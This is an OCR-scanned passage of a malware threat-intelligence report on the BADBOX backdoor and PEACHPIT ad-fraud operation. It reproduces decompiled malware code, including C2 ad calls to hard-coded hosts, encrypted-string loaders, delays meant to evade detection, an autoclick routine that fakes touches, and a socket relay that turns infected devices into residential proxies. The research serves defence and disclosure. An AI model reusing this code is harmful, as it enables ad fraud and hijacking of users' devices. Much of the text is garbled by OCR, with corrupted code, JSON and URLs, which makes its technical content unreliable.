UERQRIRHQNV1 QXp3 11pVWg2UEF! 'W-IEWS!. 2d12C1Me1FSRTIKTWIRNKELenkz Y2 1BTXN 1L DVUWH 0a0ZhQjN4dFAOTY
ZIWENGTGRwMIFniWx TaS5NWjcxU114dE2CRGV1UE1sSUFtbzFweVdybk 1 fKAD3YXAuaWSkLmIyKJVBTWI 6aWxsYSE1L] 1kTDPKY]E?IFRNIEJFWCQRUDFBQSAx
OTEXMDUUMDA0OYB3dikgTEFWcGx1V2ViS210LzUzNy4 2N A0SOhUTUWS IGXpa2UgR2V ja28pIF21cnNpb2dVNCAWIENOCO t 258 3L jQUMCA zNz I5LJEAN I BTYWZ hemkvNTM3L JM2AARRSD
h=£2095db2-bT7ae-4££8-8d39-47ebf2fbe278" /><fd.1v><dectype html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title></title>\
n</head>\n<body style=\"margin:0;position:absolute;top:0;left: 0»bottom 0; rLghc 0;\">\n<script>window. t0=+new Date();</script>\n<script>\n \
n</scnpt>\n<scnpt>\n if (typeof w:.ndow mraad. = undetmed ) {\n var mraid s el. = document . createﬂlement(
‘script’);\n mraid_s_el.crossOrigin = ‘anonymous';\n mraid_s_el.src = 'mraid.js';\n
ocument .body . appendChild(mraid s _el);%n o </seript>\n \n<div id=\"ad\" style=\'width:100%;height: moa»\
"><div class=\"creative-container\" style=\"position:absolute;top:0;right:0;bottom:0;left:0;0overflow:hidden\" aria-label= \”Sponsored Ad\" data
-reactroot=\"\"><img class=\"ad-background-image nmc—btr—creau.ve\" arc—\”https./. /images/s/al-na-9d5791cf-3faf/6£c6374e-Bb5
e-4645-8c3c-46646e77aafa.png\" style=\"max-width:none height :none;width:100%;height:auto;margin-left:50%;-webkit-transform:translateX(-50%
transformstranslateX(-50%); -ms-transform: translateX{-50%) j-o-transform: translateX(-50%);transform: translateX(-508)\ " /><a class=\"ad-cho
ices\" href=\"https://wwa.amazon.com.br/adprefs\" target=\"_blank\"><div class=\"ad-choices-image\" style=\"display:block;position:absolute;ov
erflow:hidden;width:18px;height:14px; z-index:9;background-size:96px 15px;top:0;right:0;background-image:url (&quot;https://images-na.ssl-images
-amazon.com/images/G/32/da/adchoices/ac-topright-sprite.pngiquot; )\ "></div></a><a style=\"position:absclute;top:0;right:0;bottom:0;left:0;curs
or:pointer\" class=\"clickthrough\" href=\"https://www.amazon.com.br/stores/page/58C70422-B1FE-47D5-BE22-980FAE9A43467aaxitk=7175c9b061a097064
14deBa99eb3zed7\" target=\"_blank\"></a></div></div>\n<script>\n  window.$ad = document.getElementById('ad');\n</script>\n\n<script crossori
gin=\"anonymous\" sre=\"https:/, ‘images/I/41oWxEt9w-L. js\"></script>\n\n<script>\n window.imageCreative = Creative.defaul
t(sad, {\"cta\":{\"type\":\"url\",\"url\":\"https://www.amazon.com.br/stores/page/58C70422-B1FE-47D5-BE22 4346\",\"br T NN
"asin\":\"\",\"asinList\":[],\ "keywordList\":[],\"downloadLink\":null,\"deepLinking\": false,\"linkIn\":false,\"isPrefetchEnabled\":false},\"ba
ckgroundImage\":{\"url\":\"https:// ‘images/S/al-na-9d5791cf-3faf/6fc637de-8b5e-4645-8c3c-d6646e77aafa.png\ "}, \ "adChoicesPosi

-~ Exchange: CRI
83779' style= pnsltjon absclute;left:0px 'tcp'ﬂpx,v;s)blllty hidden; '><img Brc*'https-//
DA 1ZGFUUL1 7ryggTLgAOW-8

Response

ices\" href=\"https://www.amazon.com.br/adprefs\" target=\"_blank\"><div class=\"ad-choices-image\" style=\"display:block;position:absolute;ov
erflow:hidden;width: 18px;height: Lupx; z-index:9; background-size:96px 15px;top:0;right:0;background-image:url(squot; https //images-na.ssl-images
—amazon. comf;mages/G/32/da/adchoxces/ac toprlght sprite.png&quot; )\ "></div></a><a style=\"position:absclute;top:0;right:0;bottom:0;left:0;curs
or:pointer\" class=\"clickthrough\" href=\"https://www.amazon.com.br/stores/page/58C70422-B1FE-47D5-BE22~" 9EOEAESAA346?aax1tk=7175c9b061a097064

l4deBa99eb32ed7\" target=\"_blank\"></a></div></div>\n<script>\n window.$ad = document.getElementById('ad');\n</script>\n\n<script crossori
gin=\" anonymous\ sre=\"https://m.media-amazon.com/images/I/410WxEtIw-L. js\"></script>\n\n<script>\n window.imageCreative = Creative.defaul
t(sad, {\'ctal":{\"type\":\"url\",\"url\":\"https://www.amazon.com.br/stores/page/58C70422-B1FE-47D5-BE22 43461\",\"b de\" 1\ "\ ", \

"asin\":\"\",\"asinList\"

1, \"keywordList\" : [ ],\"downloadLink\" :null,\"deepLinking\": false, \"LinkIn\": false,\"isPrefetchEnabled\": false},\"ba

cquoundlmaqe\ :{\"url\":\"https:/, /S/al-na-9d5791ct-3faf/6£c6374emBb5e-4645-8CIc-4664667 7aafa.pna\" ), \" adchoicesrosi
tion\":\"topright\",\"clickTrackerUrls\": (\"http:// \/%/c/RMOOFapaAqYei-719583t YekARRGEU L

PZDEgICBOLOEgICAGICAGICAGICBEWiS_/\"],\"impressionUrls\":[\"https:// /adServer/adServerESI.aspx?scri] t—falseshannerl
D=110003966rnd=( INSERT CACHEBUSTER HERE]&redir=https: " fadserver/lpixel 1£\"],\"additionalHtml\":\"\",\"width\":30

0,\"height\":250,\"isLowResDisplay\" false,\ creamveImageData\"-null \"locale\":\"BR\" \"reg.\.on\ = ://image

s-na.ssl-images-amazon.com/images/G/32\",\"privacyUrl\":\"https://www.amazon.com. br/adprefs\ ,\"deviceContext\":{\"userAgent\":\"Mozilla/5.0 (

Linux; Android 11.1; TV BOX/QP1AA.191105.004; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/7.4.0.3729.186 Safari/537.36\"},\

".isPrs\riew\“:false, isMobile\ rue,\" szlack]ack\".falae \"isOffsite\":true,\"uselpRendering\":false, \ "appendQueryParams\":\"\",\"isExternal

Link\":false,\"adLink\":\"https://www.amazon.com.br/stores/page/58C70422-B1FE-47D5-BE22~ 9B0FAEIA43467anxitk=7175co5061a09706414deBaddeb3zedT\"

P\ cascaqu!ntent\ :null,\"ishmazonClickUrl\":true,\"isPrimeNowClickUrl\":false, \"islpUrlSafe\":true});\n</script>\n\n\n</body>\n</html>\n<sc
"ht:

ript src: A \/bac-csm/mobile/csmvs. s\ "></script>\n<script type=\'text/javascript\">\n var amzncsm = amzncsm | |

; amzncsm.instrURL = \"http:// /x/px/IMQQFgpgAgYei-T9583tYekAAAGEU1 RpXQEAAAUVAUEZCcEh fdHhuX2JpZDEGICBOLOEGICAGICA
gICAgICB6wi5 /\";\n if(typeof amzncsm.rmR === \"functiom\") {\n amzncsm.rmR(amznesm. instrURL, window, []);\n }\n</script>\n<img src=\"ht
tp://165.227.120.124/slog?aff_: 1vkx1¥5xeEl eHjYl TWRFASCLOVR275CeY5 1NXgak9e_] lao_olOfP1jClHo_
1Hkx1Hn lYoYlEvozGeIFleZ:LfolCYquTFdLI2 15C2yzTQyD_odOXny a0X4] 1EoXodV_27eNgaoTlHoX1Eoon9eXA9eN27SCtES_lESweYkéeY]l tEoWtEn6odVuFY

wY2AfXZT7eudcem-dvEZ6UfZC1TZTLYP6C ZGCWFBszyDBF)\LHZAENn wOPSV‘xP‘ILpZaegFALrZ7SCevataRxlEthowolCOMsm y3JC1YOX3HvwloVEF 1CUZ TNTGAP Fn8WmQySTZCvO
ZcD_QEOoZ9LHgaZ_eEl9co\ "style=\"display:none;\"/><script type=\"text/javascript\" src=\"https://g.adrta.com/s/sw/aa.js?cb=20221127230302#sw;pa
id=5w;avid=796;publisherId=1597;kv2=sixpack. sixpackabs. absworkout .abexercises. tv; kv4=177.54.149.102; siteId=1597;kv1=300x250 kv27=Mozillas2F542
EO!Z!HZBL:I.:nux!JB%ZU)mdro.\d!z0l1iZEl!lB!ZOW‘ZDBOK‘ZFQFlMiZE'I91lDS‘ZEOCH!BB!ZGW*Z‘B!20'205Pp1eh‘ebl(:lt$2?53712536!20‘ZBRHM!ZC320111<€!ZOGeclm‘Z

9%20Version$2F4%2E0%20Chrome% 2F7%2E492E0%2E372942E186%205afari®2F53742E36 ; kv23=; kv28=samsung; kv5=0 ; kv. 2deb-44 d477558cadd; kv
11=1831138143265320947;kv12=1831138143265320947_0_882045716732809876;kv15=bra; kv16=-23.75310;kv17=-46.66950;kviB=sixpack.sixpackabs.absworkout
_abexercises.tv;kvl deb-44 d777558cadd; kv24=Mobile InApp\"></script></dive</body></html>",

20 "adomain”:[

"wap.ind.br"

1.

21 Thurl®: e

22 "c.ld."‘ ‘352045716732509876 0",

23 "crid": "BBZ00571673ZB09876_15000_5000_2]7659_62153",

24 "h":250,

25 "id":"035d4 dcB87-4753-9a de5f03%ee",

26 "impid":"882045716732809876"

27 nurl”:
"https://log.aiadexchange.com/wlog?aff 1¥kx1¥5xeEl_eHjYl TWRFASCLOVR275Ce¥56odemFEOxeaRI01NXgak9e BweBBxeERTlao_olO
fFl]ClHa 1Hkx1Hn chYlEVoZEEIFIJCZcho]C‘{qTZTFdLI27SDnQGWnleZszQyD odOXnyNHFa0X4HvX1EoXodV_27eNgaoTlHoX1Eoon9eXA%eN27SCLES_lESwevk6eY]l tEoWt

WY2REX2T £26U£ZCLTETLYP6C_26CwPBWELyDBFALH2ANn_WOPSVXPTLp2AegFALr275Ce Y vxtaRx 1EVY £oVYQ1C0Aem-yC1YoX3HvwlOVEF 1CUZ TNTGAP £nBW

anySTchchD QEQoZILHgaZ_eEl%c0",

28 "price”:0.020,

29 "w":300

30 }

31 1

32 "seat":

33 }

22 s

Figure 19: Ad traffic response from Brazil-based request

It's unclear as of this writing how many countries are targeted (or detargeted) by the PEACHPIT threat actors.
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The PEACHPIT app communicates with the hard-coded SSP following the IP, ASN, and location checks mentioned above.
Notice the use of /sspbidder in the screenshot below, taken from a different PEACHPIT app, app.cobo.launcher.

return;
¥ )
adxLoader. loadAd("http://req.mobpals.com/sspbidder?cid=" + this.cid + "&ss=1&xrw=" + getContext().getPackageName(), new AdxLoaderlList
public void onAdLoaded(final InfoBody infoBody) {
new Handler(Looper.getMainLooper()).post(new Runnable() {
public void run()
d; View.this.sh View(infoBody);
if (AdxBannerView.this.adxAdListener != null) {
AdxBannerView. this.adxAdListener.onLoaded();
¥

b

3 public void loadAd(AdxLoader adxLoader) {
if (TextUtils.isEmpty(this.cid)) {
AdxInterstitiallistener adxInterstitiallListener2 = this.adxInterstitiallListener;
if (adxInterstitiallistener2 != null) {
adxInterstitiallistener2.onError(Constants.ERROR_NO_CID);
return;
return;
adxLoader. loadAd("http://req.mobpals.com/sspbidder?cid=" + this.cid + "&ss=1&rw=" + this.mContext.getPackageName(), new AdxLoaderLister
public void onAdLoaded(final InfoBody infoBody) {
new Handler(Looper.getMainLooper()).post(new Runnable() {
public void run() {
InfoBody unused = AdxInterstitial.this.adxInfo = infoBody;
long unused2 = AdxInterstitial.this.loadTs = System.currentTimeMillis();
if (AdxInterstitial.this.adxInterstitiallListener != null)
AdxInterstitial.this.adxInterstitiallistener.onLoaded();

} Figure 20: Calls to the sspbidder,
N; part of the flyermobi C2
infrastructure

That sspbidder connectionis commonamong PEACHPIT apps on all platforms, including those automatically downloaded
as aresult of the BADBOX backdoor (more on those in the following section).

In the case of i0S devices, which are not impacted by the BADBOX backdoor, the PEACHPIT module more closely resembles
the Satori team'’s earlier investigation into VASTFLUX.

Below, references to sspbidder and the IP/ASN check appear in an i0S-based PEACHPIT app.

00007c58 08 c2 13 58 1dlr x8,->cf_https://req.azuredat.com

00007c5¢ 1f 20 03 d5 nop

00007c60 cl1 dd 12 58 ldr param_2=>s_stringWithFormat:_0001c212,PTR_s_st...
00007c64 e8 5f 00 a9 stp x8=>cf_https://req.azuredat.com,x23, [spl=>loca...
00007c68 02 a7 Oe 10 adr param_3=>cf_%@/sspbidder?cid=%@&ss=1&1dx=08x rw...

(uvar3,"evaluateJavaScript:completionHandler:",&ct_navigator.userAgent,&local_/8);
setWebview: (param_1,"setWebview:",uvar3);
_ stubs::_objc_release(uVar3);

}
__stubs::_objc_msgSend(&_0BIC_CLASS_$_NSURL,"URLWithString:",&cf_http://ipinfo.io/json);
uVar3 = __stubs:i_objc_retainAutoreleasedReturnValue();
__stubs::_objc_msgSend(&_0BIC_CLASS_$_NSURLRequest," requestWithURL:",uvar3);

uVar4 = __stubs:i_objc_retainAutoreleasedReturnValue();

__stubs::_objc_msgSend(& 0BIC_CLASS_$_NSURLSession,"sharedSession");

uVar5 = _ stubs::_objc_retainAutoreleasedReturnValue();

local_a0@ = 0xc2000000;

local_98 = &LAB_000071c4;

puStackl44 = &DAT_000245a0;

local_88 = param_1;

local_80 = __stubs::_objc_retain(lvarl);

__stubs::_objc_msgSend(uVar5, "dataTaskWithRequest:completionHandler:",uvar4,&local_a8);
uVar6é = _ stubs::_objc_retainAutoreleasedReturnvalue();

_ stubs::_objc_release(uvars);

__stubs::_objc_msgSend(uvar6,"resume");

__stubs::_objc_release(uvar6); X X .

_ stubs::_objc_release(local_80); Figure 21: sspbidder check in an

__stubs:: objc_release(uvard); i0S-based PEACHPIT app


https://www.humansecurity.com/company/satori-threat-intelligence/vastflux
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As part of the investigation, the Satori team observed the PEACHPIT threat actors targeting iOS devices through a
malvertising attack:

Request Response -
Pretty Raw Hex in = Pretty Raw Hex Render \noo=
1 POST /sspbidder?cid=1005655=1&1dx=0&xrw=1517363877 HTTP/1.@ 1 HTTP/1.@ 200 0K
2 Host: req.azuredat.con| 2 Server: nginx/1.10.2
3 Accept: application/json 3 Date: Thu, 29 Dec 2022 13:06:15 GMT
4 Content-Type: application/json 4 Content-Type: application/json;charset=UTF-8
5 Accept-Encoding: gzip, deflate 5 Content-Length: 915
6 User-Agent: wordforest/25 CFNetwork/1240.0.4 Darwin/20.5.0 6 Connection: close
7 Content-Length: 501 7 Expires: Mon, 26 Jul 1997 @5:00:00 GMT
8 Accept-Language: en-us 8 Last-Modified: Thu Dec 29 13:06:15 2022
9 Connection: close 9 Cache-Control: post-check=8, pre-check=0
10 10 Pragma: no-cache
1 11
"device":{ 12 {
"devicetype":4, "bidid":"3a89da39@465bbbb",
"ifa":"mopub:a5489862-a30a-463b-a95f-7b1443bb02f5", "'cu uso",
"js":l, "id":"7401962721210360726",
"osv":"14.6", "seatbid": [
"connectiontype":2,
"gs"iTi0s", whidh: [
"geo": { {
"region":"Sofia-Capital”, "adid":"200309572",
"city":"Sofia", "adm":
"country":"bg", "<html><head><meta name=\"viewport\"content=\"width=device-width,initial-scale=1.08, maxin
“lon":23.324100000000001, um-scale=1.0, user-scalable=0\"><meta name=\"referrer\"content=\"never\"><title>BANNER</1
“zip":'1000", itle></head><body=<script type=\"application/javascript\" src=\"https://wwwl8.
"type'":2, /ac?nwid=4488&siteid=552096&pgid=1687377&fmtid=117440&visit=m&tmstp=1672319175038&<
"lat":42.697499999999998 rl=https%3A%2F%2Fapps.apple.coms2Fapp%2Fid1517363877&uid=mopub: a5489862-a30a-463b-a95f-7t
H 1443bb@2f5&appname=Word%2@Forest&buid=1517363877&out=js&mraid=2.0&1a=42.6975&19=23.3241\'
“ip":"217.138.221.247", ></script></body></html>",
"language":"en", "adomain": [
"make":"apple", e
"ua"i 1,
"Mozilla\/5.@ (iPhone; CPU iPhone 0S 14_6 like Mac 0S5 X) “burl":"",
AppleWebKit\/6@5.1.15 (KHTML, like Gecko) Mobile\/15E148" "cid":"41DT5P200309572_0_0_@_1",
"ecrid":"12734080285158765860_15000_5000_58089_359113",

"id":"3a89da390465bbbb",

"impid":"7401962721210360726",

"nurl"

"price":0.0200,

} "tpl_type":2,
“w":300,
"h":250

}

1,
"group":0,
“seat™:""

¥

Figure 22: JavaScript payload returned following an ad call in one PEACHPIT-associated iOS app

Above, an ad call to an /sspbidder server returns an ad including a piece of JavaScript, allowing the ad slot to open a new
WebView and rendering ads inside it.

At its peak, HUMAN saw roughly 121,000 Android devices impacted by PEACHPIT, some of which may have also included the
BADBOX backdoor. HUMAN also saw 159,000 i0S devices impacted by PEACHPIT. The traffic from these devices originated
from 227 different countries and territories, underscoring the global scale of the threat.
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PEACHPIT: Automatically Downloaded Apps

To explore the PEACHPIT apps automatically downloaded as a result of the BADBOX backdoor, we return to the classes.dex file
mentioned during the initial infection. One of the modules loaded into the library by classes.dex is com.asshow.asshow. This
module is the key to the entire scheme.

import com.asshow.asshow.b.d;

/* loaded from: JCorejava/node/ 799dcdcec8aeb29aaZccd8T27a3Tc806_254/classes. dex */
public final class b [

S+ renamed from: a reason: collision with root package name %/

public static final String f396a = d.a("ky6u2nd6d", "D1FBBAC474E94B386EDFFBEDAGCE46610F99788DDOETO6530617457EAICI2ATBAEEBCR2415A05DCAGADBDD" ) ;
public static fimal String b = d.a("ky6u2nd6d", "DBA1A4DS3C");

public static fimal String ¢ = d.a("ky6u2nd6d", "96EEE1D66QA2052D6B");

public static final String d = d.a("ky6uZnd6d", "89BEFEBGTEF5546D3A89E5BBFABE1321B3191558F800781285A7854B9EFTEADB" ) ;

public static fimal String e = d.a{"ky6u2nd&d", "CFEABCCT27A9QA");

public static fimal String f = d.a("ky6u2nd&d", "D4EBFB");

/* renamed from: g reason: collision with root package name */

public static final String f397g = d.a("ky6u2nd6d", "CCFDA2");

public static final String d.a("ky6u2nd6d", "FBCBIGFBO5");

public static final String .a("ky6u2nded", "F8CBIGE4BF852F");

public static final String .a("ky6u2nd6d", "DGFDA99A2DAE163667D5APEGEADDA2607462870384591303606D1E" ) ;
public static final String .al"ky6u2nded", "FACEBA");

public static final String .a("ky6u2nded", "DEEABAFS22AA");

public static final String d.a("kyBu2ndd", "DEEABAE42FASOF386DDI9BEAATDA");

R
L TR T |
oo

Figure 23: Encrypted contents of com.asshow.asshow.b.d

The above shows the encrypted contents of the module. Satori researchers decrypted the strings within the code and observed
that its first order of business is to connect to flyermobi, the ad fraud C2 mentioned above as part of PEACHPIT and as a major
pivot point for all BADBOX research.

Next, the threat actors put multiple delays and time-based checks to prevent immediate trigger of the malicious behavior and to
make it more difficult to be dynamically detected.

public static voi

str), 5L, 6@0L, jav current.TimeUnit

Figure 24: Task from com.asshow.asshow.b.b with a 5 second delay and 600 second rerun rate.

private static a() {
if (f == -1 || java.lang.Math.abs(java.lang.System.currentTimeMillis()} - f) > 36000000) {
f = java.lang.System.currentTimeMillis();
return true;

i
return false;

iy

public static void b(android.content.Context context, java.lang.String str) {
try {
if\ (e null) {
e = com.asshow.asshow.b.e.a(context);
I

if (a()) {

e = com.asshow.asshow.b.e.a(context);

}

android.os.Bundle bundle = new android.os.Bundle();

bundle.putString(b, str);

bundle.putString(c, com.asshow.asshow.AS.b);

bundle.putString(d, com.asshow.asshow.AS.f1290a);

e.getDeclaredMethod( , android.content.Context.class, android.os.Bundle.class).invoke(null, context, bundle);
} catch (java.lang.Exception e2) {

android.util.Log.e(f1296a, e2.toString());

Figure 25: 10 hour delay from com.asshow.asshow.b.a
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Manifest-Version: 1.0

v: 2.85
Following these delays, the asshow module i: com.mozgame.atask.task.ITask

reconnects to flyermobi and retrieves b.jar, an Created-By: dx 1.16
encrypted binary which is loaded into memory. Dex-Location: classes.dex
manifest.mf references the .jar file as being
associated with a package, com.mozgame.atask.
task.Itask.

Figure 26: manifest.mf from b.jar

That's not, however, what appears in the WebViews the scheme will shortly begin generating. In those WebViews, the package
reported is one received as an instruction from flyermobi. (Notice, too, /sspbidder in the URL.)

"response": {
"bodySize": 308,
"content":

"mimeType": "JSON"

"size": 308,
{\

Remote Target

MBOX

Chrome

race

Privacy error
inspect pause focustab reload close

WebView in com.block.puzzle.game.hippo.uc (74.0.3729.186)

frace

us.aibiddercom/xrwith?ifa=d92dfd47-353a-47ac-a0f4-f2c75b567cb7 &cid=1410815=1673348609601 &ccode=br
inspect pause

Figure 27: WebView details
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The com.mozgame.atask.task.ltask package gets a response from the C2 that instructs it how to stage a hidden WebView,

including the URL to load in the page.
try ¢

str = !TextUtils.isempty(this.a) ? "http://adc.flyermobi.com/config/config.conf" + this.a

M hBShf:WEP = new Has (s ASConfig aSConfig = ASConfig.toASConfig(a);
context = this.b.c; context4 = this.b.c;

hashMap.put("package”, context.getPackageName()): G a2 = G.a(context4);
hashMap.put("make"”, Build.MANUFACTURER); a2.a("url", aSConfig.getUrl()):
context? = this.b.c; a2.a("adxrt", aSConfig.getAdxrt());
hashMap.put("aid", C@@l8s.b(context2)); a2.a("adxi", aSConfig.getAdxi())

a2.a("adi", aSConfig.getAdi());
a2.a("adxcount”, aSConfig.getAdxcount());
a2.a("adxnext", aSConfig.getAdxnext());
a2.a("adxurl”, aSConfig.getAdxurl()):;

hashMap.put(“osv", Build.VERSION.RELEASE):
hashMap.put("model”, Build.MODEL);
hashMap.put(“version”, "2.802"):

context3 = this.b.c; a2.a("ascurl”, aSConfig.getAscurl());
hashMap.put("cid", G.a{context3).b("d92yjlnéqcid", "")); a2.a("ascsurl”, aSConfig.getAscsurl());
S g a = C@evda.a(str, hashMap): a2.a("adxpack", aSConfig.getAdxpack()):
if (TextUtils.isEmpty(a)) { String adxinfo = aSConfig.getAdxinfo()
return: if (!TextUtils.isEmpty(adxinfo) && adxinfo.contains(":;;:")) {
} d String[] split = adxinfo.split(";;;");

if (split.length > @ && !TextUtils.isEmpty(split[e1})) {
a2.a("clickpercent”, split[@]);

I

if (split.length > 1 && !TextUtils.isEmpty(split[11)) {
az.a("clickarea", split[1]);

}

Figure 28: Runnable class com.mozgame.atask.| that will reach out to http[ : ]//adc.flyermobi[ . Jcom/config/config.conf and parse out its contents to ASConfig

"content": {
"size": 276
"mimeType

30\",\" X 00\",\"adxcount\" \ xnext\":\"1\",\ xpack\ .
\",\"ad : .aibidder. r7¢id\u@e3d1143\\u0026ss\u@@3d1\",\"ascurl\":\"0\",\"ascsurl\":\"o\",
\":\"1137 adxinfo\": = ; P\

ackabs.

Figure 29: Network capture showing the contents of a server response for the above request

These ad requests took place when the rendered ad had no chance of being seen, such as when the screen was off:

b PROCESSED https://trends.revcontent.com:443/event/impression 1 0 1

Raw  Hex = I Raw  Hex

1 I’DST fevent/impression HTTP/1.1 HTTP/1.1 204 No Content

[

2 Host: trends.revcontent.com Server: openresty
3 Content-Length: 1450 3 Date: Tue, 10 Jan 2023 12:43:54 GMT
4 Pragma: no-cache 4 Connection: close
5 Cache-Control: no-cache 5 X-RC-Region: us-east-1a
6 Origin: https://vousgame.com 6 access-control-allow-origin: https://vousgame.com
7 User-Agent: Mozilla/5.@ (Linux; Android 1@.1; X9@ Build/QP1A.198711.020; wv) AppleWebKit/537.36 (KHTML, 7 access-control-allow-credentials: true
like Gecko) Version/4.0 Chrome/81.0.4044.138 Safari/537.36 2 access-control-allow-headers: Content-Type
2 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 9 Strict-Transport-Security: max-age=931536000; includeSubDomains
9 Accept: */* 10
10 Referer: https://vousgame.com/ 11

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9

13 X-Requested-With: com.block.puzzle.game.hippo.uc
14 Connection: close

16 v=

Mp340n37vUKB7v7HBUB@6Y83LcCIBz7y jwTnarYEKhfGP%252FESgD1%252F XyUTNEXUd28Ss JUWHGcdnOmTXR) JqtD1cZF833Utzag3
5iVBPOhUwxS5%252F1d1CWqWs6vBYCYI7AV58GMDSbiex%252BmfCSwajclpcil®252FIn5%252FzY1N0g2dasS1ininGx@i4B42HY q2MIY
P3gmCwXm%252FQULCSs7xyTiNsZKgjFMreKk2mKukZ3%252FDusB18C%252F55PZSy9owX5VCiGrSIC]jduvyZg9@4C7 sPNdovvmlM%25
2BygxX5NzWzMV3c7fIQegn5k1GVCHDMSGIS%252BRBQhHOUT jVCpSNM1AZIISncMbtOFLfM1ZgeeTDga52WKilovHRKRE 1xFMWNBAD2 J
yFOVIXFxCQu%252BRE0rxBUMSZLA2NtYFI2xBak jUe9DN2HDgyY ZHsx37X9ePFHEPUiPIotrqfOHPg6CMFgviVBy8%252FY ) 2MXzFj2¢c
6Id%252F21ATzDbcVYNwT%252BXJ s JmdOLmATpDiVLNVornDOXFHWNE5Ke%252F 1cHcKd@H1Tecsw2CX1CM7dcsh8wThihivxc4bFpKe
U3NBAMyHWfkdacBvMsxRnTulqW2Iw3JemxDJVve1%2528p7UU0udyhgXTwqz%252B5c%252BRE1dM)t2300b55epCmZ TBO6ZD%252F%2
52BDZ7CHhKkTAJ1N%252B7b81alkgQGBVwGhKEDYBvAZluhrxJveRICXJsUP2jTssqvka f%252BvnXET7gIXWF623c%252BFiGKTI1THN
nOC5i3eFr5EASeiATOaxMKUHR%252BeneaNZNMagulL2algx110X10bs55poHsM7@W1ATRe4TPSIxpSYEMd%252F s lhoI0osUkwgPz@1
18y1%252BVIZt70j25018Y¥1ak0V%252F3%252BA JIBTiK1xADBPDCMBCAqv%252FyPXgb2kS@iKhMpgToEkgBh@M1IvBHUTZ%252FVqyg
VyfUk1IP%252BoIfi124MwGqgRQjL2PTG]DbmYdXxV6s@4PfiRvuSIWsZbd)67gulwkfpjFCP1ttrDi0BbzwcQFmSMp%252FcXT1ALGWF
%252FkDhF9foat8klrjqlBkBi6V%252Fy8vw3CEFf%252FNE%252B0SSmQcqvd%252FvvhFOAb7huCdH5qs11zg3TkpM749iThsNdZrt
©aAR91b%252Fwixp920J6IL5v62f%252BCcBGINMAIdc%253Dar=http%253A%252F%252Fgames .usatoday . com%252F&l=

https%253A%252F%252Fvousgame . com%252F&f=falsedvariant=undefineddadblocked=undefined&client_version=0.1.0

Figure 30: Successful Ad impression while screen was off
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Above and beyond loading the WebView with the hardcoded URL, PEACHPIT also includes a click fraud element within those
same WebViews:

public final class A {
public static void a(View view, float[] fArr, fleat[] fArr2) {
MotionEvent obtain:
MotionEvent obtain2;
long uptimeMillis = SystemClock.uptimeMillis();
if (Build.VERSTON.SDK_INT < 14) {
obtain = MotionEvent.obtain(uptimeMillis, SystemClock.uptimeMillis(), e, fArr[e], farr[1], @.ef, 1.ef, @, fArrz[el, farrz[i], 5, @);
} else {
MotionEvent.PointerCoords[] pointerCoordsArr = {new MotionEvent.PointerCoords()};
MotionEvent.PointerProperties[] a = a(4@98);
pointerCoordsArr([8].cleax():
pointerCoordsArr[B].x = fArr[@];
pointerCoordsArr([@8].y = fArr[1];
pointerCoordsArr[8] .pressure = 0.0,
pointerCoordsArr[@].size = 1.0f;
obtain = MotionEvent.obtain(uptimeMillis, SystemClock.uptimeMillis(), @, 1, a, pointerCoordsArr, @, @, fArr2[@], fArr2[1], 5, @, 4898, @);
}
view.dispatchTouchEvent({obtain);
Random random = new Random();
int nextInt = random.nextInt(4);
float ¥ = fArr[0];
float f2 = fArr[1]:
int i = @;
while (i < nextInt) {
float nextFloat = f + random.nextFloat();
float nextFloat2 = f2 + random.nextFloat();
farr = new float[]{mextFloat, nextFloat2);
MotionEvent.PointerCoords[] pointerCoordsArr2 = {new MotionEvent.PointerCoords()};
MotionEvent.PointerProperties[] a2 = a(obtain.getSource());
pointerCoordsArr2[@].clear();
pointerCoordsArr2[@].x = fArr[e];
pointerCoordsArr2[@].y = fArr[1];
pointerCoordsArr2[@].pressure = 0.0f;
pointerCoordsArr2[@].size = 1.8f;
view.dispatchTouchEvent (MotionEvent.obtain(obtain.getDownTime(), SystemClock.uptimeMillis(), 2, 1, a2, pointerCoordsArr2, ©, obtain.getButtonState(
1+%;
f2 = nextFloat2;
f = nextFloat;
}
if (Build.VERSTION.SDK_INT < 14) {
obtain2 = MotionEvent.obtain(obtain.getDownTime(), SystemClock.uptimeMillis(), 1, farr[e], fArr[l], @);
} else {
MotionEvent.PointerCoords[] pointerCoordsArr3 = {new MotionEvent.PointerCoords()}:
MotionEvent.PointerProperties[] a3 = a(obtain.getSource());
pointerCoordsArr3[@].clear();
pointerCoordsArr3[0].x = fATT[@];
pointerCoordsArr3[@].y = fArr[1];
pointerCoordsArr3[@].pressure = 0.0F;
pointerCoordsArr3[@].size = 1.0f;
obtain2 = MotionEvent.obtain(obtain.getDownTime(), SystemClock.uptimeMillis(), 1, 1, a3, pointerCoordsArr3, @, obtain.getButtonState(), obtain.getX
}

view.dispatchTouchEvent(obtain2);

Figure 31: Autoclick function
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@verride

Residential Proxy Nodes

Residential proxies route web traffic from one IP
address to another, making the traffic appear as

TextUtils.equals(str,

though it's coming from another place entirely. Bt

i.this.pro

The Satori team observed residential proxy
activity on BADBOX-infected devices early on in

m.debby.i.this.e();
if (i>0) {

the investigation, and found evidence that they j =

com.debby. i.this eduleAtFixedRate(new com.debby.i.B.a(), j, j, java.util.concurrent.TimeUnit.MINUTES);

connect to one another, forming a residential . : tion o) {
proxy network.

How it Works: a BADBOX-infected device opens
a port that connects to one of three C2 servers
and sends some basic device information. The C2
responds with two IP:PORT addresses, one that
continuously feeds device information back to Socket. conhect (new fava.net. Ina e .proxyIp, pVar.proxsPort), 5000);

the C2, and another, a “proxy” address, to receive
yet a third IP:PORT address (Figure 32).

Two more connections are established, one with
the proxy address, and one with the third address
(Figure 33).

The BADBOX-infected device now sits between Figure 33: From com.debby.i.b
two other addresses, serving as a proxy for each

(Flgure 34) public final void a(java.net.Socket proxySocket, java.net.Socket newAddressSocket) {
try {
com.debby.d instream = com.debby.n.a(com.debby.n.b(proxySocket));
com.debby.c outstream = com.debby.n.getOutStream(com.debby.n.a(newAddressSocket));
If any of the connections time out, the C2 server ) Col et
while (!instream.a()) {
b2 = instream.b(bvar, 8192L);

fires off a request to a server that responds with if (b2 > 0) {
. outstream.sendPayload(bVar, b2);
a 404 error and closes the proxy connection outstrean. flush();

(Figure 35).

instream.close();
outstream.close();

} catch (java.lang.Exception e) {
this.b.a(com.debby.f.a.TunnelError, e.getMessage());

}

Figure 34: Method from com.debby.o that reads and sends data between the sockets

'
"response":
"bodySize

"content":
